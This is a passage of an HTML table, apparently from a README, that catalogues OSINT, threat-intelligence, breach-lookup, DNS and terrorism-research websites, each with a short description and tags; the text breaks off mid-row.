<tr><td><a href='https://sploitus.com'>Sploitus</a><br><a href='https://twitter.com/sploitus_com'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://tor.link'>TOR Link</a><br><a href='https://twitter.com/TorDotLink'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/tordotlink'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/tordotlink'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Free anonymous deepweb / darknet search engine</td><td>GLOBAL</td><td>tor</td></tr>
<tr><td><a href='https://rescure.me/feeds.html'>Rescure</a><br><a href='https://github.com/Fruxlabs'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Enhance your cyber security capabilities with highly tailored, accurate and relevant threat intelligence which integrates seamlessly with your detection workflows.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://feodotracker.abuse.ch'>Feodo Tracker</a><br><a href='https://twitter.com/abuse_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Browse the list of botnet Command&Control servers (C&Cs) tracked by Feodo Tracker, associated with Dridex, TrickBot, QakBot (aka QuakBot/Qbot), BazarLoader (aka BazarBackdoor) and Emotet (aka Heodo).</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://stored.website'>Stored Website</a><br><a href='https://twitter.com/shapito27'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>View cached web pages/website</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://www.threatminer.org'>ThreatMiner</a><br><a href='https://twitter.com/ThreatMiner'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/threatminer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>ThreatMiner is a threat intelligence portal that provides information on indicators of compromise (IOC) such as domains, IP address, malware samples (MD5, SHA1 and SHA256), SSL certificates, WHOIS information and malicious URLs such as phishing and malware links.</td><td>GLOBAL</td><td>malware,network,web</td></tr>
<tr><td><a href='https://yaraify.abuse.ch'>YARAify</a><br><a href='https://twitter.com/abuse_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Scan suspicious files such as malware samples or process dumps against a large repository of YARA rules.With YARAhub, the platform also provides a structured way for sharing YARA rules with the community.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://pulsedive.com'>PulseDive</a><br><a href='https://twitter.com/pulsedive'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Pulsedive is a free threat intelligence platform. Search, scan, and enrich IPs, URLs, domains and other IOCs from OSINT feeds or submit your own.</td><td>GLOBAL</td><td>malware,network,web</td></tr>
<tr><td><a href='https://threatfox.abuse.ch'>ThreatFox</a><br><a href='https://twitter.com/abuse_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Browse the Indicator Of Compromise (IOC) database of ThreatFox</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://breachdirectory.org'>Breach Directory</a><br></td><td>Check if your information was exposed in a data breach</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://haveibeenpwned.com'>Have I Been Pwned</a><br><a href='https://twitter.com/haveibeenpwned'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/troyhunt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/haveibeenpwned'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.facebook.com/troyahunt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Check if your email or phone is in a data breach</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://dnsviz.net'>DNSViz</a><br><a href='https://github.com/dnsviz'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>DNSViz is a tool for visualizing the status of a DNS zone. It was designed as a resource for understanding and troubleshooting deployment of the DNS Security Extensions (DNSSEC). It provides a visual analysis of the DNSSEC authentication chain for a domain name and its resolution path in the DNS namespace, and it lists configuration errors detected by the tool.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://dnstwister.report'>DNS Twister</a><br><a href='https://twitter.com/dnstwister'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/elceef'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://github.com/elceef'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://linkedin.com/in/elceef'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The anti-phishing domain name search engine and DNS monitoring service</td><td>GLOBAL</td><td>malware,network</td></tr>
<tr><td><a href='https://dnsdumpster.com'>DNSdumpster</a><br><a href='https://twitter.com/hackertarget'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>DNSdumpster.com is a FREE domain research tool that can discover hosts related to a domain. Finding visible hosts from the attackers perspective is an important part of the security assessment process.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://spyonweb.com'>SpyOnWeb</a><br></td><td>SpyOnWeb takes the information from public sources, then structure it for your quick and convenient search for the websites that probably belong to the same owner.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://github.com/Owez/yark'>Yark</a><br></td><td>Yark lets you continuously archive all videos and metadata of a YouTube channel, it also lets you view your archive as a seamless offline website with history and historical statistics information.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://covertactionmagazine.com'>CovertAction</a><br><a href='https://twitter.com/CovertActionMag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/covertactionmagazine'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/covertactionmag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC-zGV4r8Dtvj6hjr65SIDyg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Exposing covert action since 1978.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.trellix.com/en-us/about/newsroom/stories/research.html'>Trellix Research</a><br><a href='https://twitter.com/Trellix'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/TeamTrellix'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/trellixsecurity'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The latest cybersecurity trends, best practices, security vulnerabilities, and more from Trellix/Fireeye.</td><td>GLOBAL</td><td>malware,exploit,vulnerability</td></tr>
<tr><td><a href='https://research.checkpoint.com'>CP Research</a><br><a href='https://twitter.com/_cpresearch_'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/checkpointresearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/check-point-software-technologies'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Check Point Research provides leading cyber threat intelligence to Check Point Software customers and the greater intelligence community.</td><td>GLOBAL</td><td>malware,exploit,vulnerability</td></tr>
<tr><td><a href='https://www.wikistrat.com/blog'>Wikistrat</a><br><a href='https://twitter.com/Wikistrat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Wikistrat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/wikistrat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Wikistrat is perfectly suited for collaborative analysis, strategic planning, and simulations, thanks to their ability to engage large crowds of experts to collaborate using their interactive online platform</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://polyswarm.network'>PolySwarm</a><br><a href='https://twitter.com/PolySwarm'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Scan Files or URLs for threats</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://hackerone.com/hacktivity'>H1 Hacktivity</a><br></td><td>Vulnerability Reports disclosed by Hackerone</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://wikileaks.org'>WikiLeaks</a><br><a href='https://twitter.com/wikileaks'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/wikileaks'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>WikiLeaks specializes in the analysis and publication of large datasets of censored or otherwise restricted official materials involving war, spying and corruption. It has so far published more than 10 million documents and associated analyses.</td><td>GLOBAL</td><td>breach,geopolitics</td></tr>
<tr><td><a href='https://talosintelligence.com/vulnerability_reports'>Talos Reports</a><br><a href='https://twitter.com/talossecurity'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/cisco-talos-intelligence-group'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCPZ1DtzQkStYBSG3GTNoyfg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Vulnerability Reports disclosed by CISCO Talos</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://malapi.io'>MalAPI</a><br><a href='https://twitter.com/mrd0x'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>MalAPI maps Windows APIs to common techniques used by malware. It can be used when developing malware (for legal purposes of course) or when analyzing the source code of one.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://usersearch.org'>UserSearch</a><br></td><td>Find someone by username or email on Social Networks, Dating Sites, Forums, Crypto Forums, Chat Sites and Blogs. 600+ sites Supported! Largest Reverse User Search Online!</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='https://github.com/ARPSyndicate/domlock'>Domlock</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Convert Domains to Netblocks & ASN</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://github.com/ARPSyndicate/rescro/blob/master/signatures/sensitives.yaml'>Rescro Sensitives</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Regular Expressions for Sensitive Tokens</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://github.com/ARPSyndicate/favinizer/blob/master/favinizer.yaml'>Favinizer</a><br><a href='https://twitter.com/scanfactory_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The Biggest Database of Favicon Hashes</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://securelist.com'>SecureList</a><br><a href='https://twitter.com/Securelist'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The Securelist blog houses Kaspersky's threat intelligence reports, malware research, APT analysis and statistics</td><td>GLOBAL</td><td>malware,exploit,vulnerability</td></tr>
<tr><td><a href='https://www.splcenter.org/hate-map'>SPLC Hate Map</a><br><a href='https://twitter.com/splcenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/SPLCenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/splcenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Each year since 1990, the SPLC has published an annual census of hate groups operating within the United States. The hate map, which depicts the groups' approximate locations, is the result of a year of monitoring by analysts and researchers and is typically published every January or February. It represents activity by hate groups during the previous year.</td><td>U.S.A.</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://icsr.info'>ICSR</a><br><a href='https://www.twitter.com/ICSR_Centre'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/TheICSRBlog'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The International Centre for the Study of Radicalisation (ICSR) is a world-class and internationally acclaimed academic research centre based in the Department of War Studies at King's College London.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.militantwire.com'>Militant Wire</a><br><a href='https://twitter.com/MilitantWire'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/militantwire'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Militant Wire is a media company focused on providing independent analysis of militant activity and armed conflict around the world. Our global network of researchers produces expert insight on issues of political street violence, terrorism, insurgency, organized crime, irregular warfare, and more.</td><td>GLOBAL</td><td>geopolitics,terrorism,crimes</td></tr>
<tr><td><a href='https://www.start.umd.edu/publications'>START Publications</a><br><a href='http://twitter.com/START_umd'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='http://www.facebook.com/STARTConsortium/'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Publications from a consortium of researchers dedicated to improving the understanding of the human causes and consequences of terrorism.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.splcenter.org/resources'>SPLC Resources</a><br><a href='https://twitter.com/splcenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/SPLCenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/splcenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Search SPLC publications, cases, Extremist Files, Intelligence Project articles, and more.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://trackingterrorism.org'>Tracking Terrorism</a><br><a href='https://twitter.com/TracTerrorism'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>TRAC combines one of the world's largest databases of terrorists, terrorist groups, hate groups and their abettors with original, analytical essays on seminal terrorism topics, profiles of vulnerable regions and cities, and live feed of news and analyses.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://cisac.fsi.stanford.edu/mappingmilitants'>Mapping Militants</a><br><a href='https://twitter.com/FSIStanford'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/StanfordFSI'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCB2X9yR4GZLfrCe4jChIEwg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/fsi_stanford'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>The Mapping Militants Project identifies patterns in the evolution of militant organizations in specified conflict theatres and provides representations of changing relationships among groups.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://www.dni.gov/nctc/index.html'>NCTC Guide</a><br><a href='https://www.twitter.com/odnigov'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='http://www.linkedin.com/company/odni'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>NCTC serves as the primary organization in the United States Government for analyzing and integrating information pertaining to international terrorism. This Guide focuses on the international terrorist organizations that are assessed to present the most serious threats to the United States.</td><td>U.S.A.</td><td>terrorism</td></tr>
<tr><td><a href='https://sekurak.pl'>Sekurak</a><br><a href='https://twitter.com/Sekurak'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='http://facebook.com/sekurak'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>News, knowledge, tools, texts - everything related to IT security</td><td>GLOBAL</td><td>malware,breach</td></tr>
<tr><td><a href='https://www.criticalthreats.org'>Critical Threats</a><br><a href='https://twitter.com/criticalthreats'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/criticalthreats'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Critical Threats' objective is to inform and educate policymakers, the intelligence and military communities, and all interested citizens who need to understand the nuance and scale of threats to America's security.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.nti.org'>NTI</a><br><a href='https://twitter.com/nti_wmd'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/nti.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/nti_wmd'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/the-nuclear-threat-initiative'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/ucmyr23uc-vxlckdb0dtg6-a'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source 